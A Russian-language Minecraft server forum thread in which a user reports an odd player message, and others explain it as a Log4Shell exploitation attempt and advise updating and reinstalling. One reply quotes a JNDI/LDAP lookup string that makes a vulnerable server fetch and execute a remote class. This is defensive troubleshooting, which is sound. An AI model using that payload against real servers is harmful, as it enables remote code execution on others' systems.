Помогите Фантомный игрок или что это?

на локальный сервер (localhost) подключился такой игрок и записал это в чат. (На сервере стоит онлайн мод и всего 3 плагина: LP ViaVersion и мой самопис, который я там тестирую, в нём ничего такого нет) Что это может быть?

 

https://media.discordapp.net/attachments/856217695976423464/932966781541298196/OfahXhBFINQ.jpg ссылка на картинку, если не открывается

 

Этот игрок заюзал новый эксплоит log4shell, а то что было написано в консоли, результат выполнения.
Вероятнее всего твоя сборка слита и дедик теперь взломан и висит в ботнете.

Обнови ядро до последней версии а так же переустанови систему.

 

Сервер локальный, на пк у меня стоит

 

Судя по тому, что к тебе подключились (да и еще не с локального ип), сервер не локальный и к нему может любой подключиться.
Скорее всего боты сканирующие интернет, время от времени заходят чтобы заюзать этот эксплоит.
Рекомендую чекнуть пк на вирусы или сразу переустановить ос.

 

Скорее всего так работает античит (проверка на килауру)

 

какой античит? я написал, что стоит 3 плагина

 

Где ты там его увидел?
Если ввести в чат/консоль этот текст

Спойлер: exploit

${jndi:ldap:hostort}

, сервер попытается соединится с этим хостом, загрузит класс, а потом его исполнит. Вместо того текста, в консоль высветится что-то типа "Reference Class Name: className", говоря о том, что класс был загружен и код внутри был исполнен.

Здесь атака Log4Shell и если ТС'у не все равно на свой ПК, пусть переустанавливает ОС и обновляет ядро сервера.
О ней уже много раз говорили здесь.
http://rubukkit.org/threads/log4j-chto-i-kak.180223/#post-1685835
http://rubukkit.org/threads/sovmeschenie-minecraftformatting-i-nolookups.180121/

 

Тогда хз

 

Пункт 5
http://rubukkit.org/threads/zaschit...nenie-ujazvimostej-zaschita-ot-vzloma.178619/

 

Тоже самое на реддите
https://www.reddit.com/r/admincraft/comments/s1xqp3/identifying_potential_exposure_following_log4j/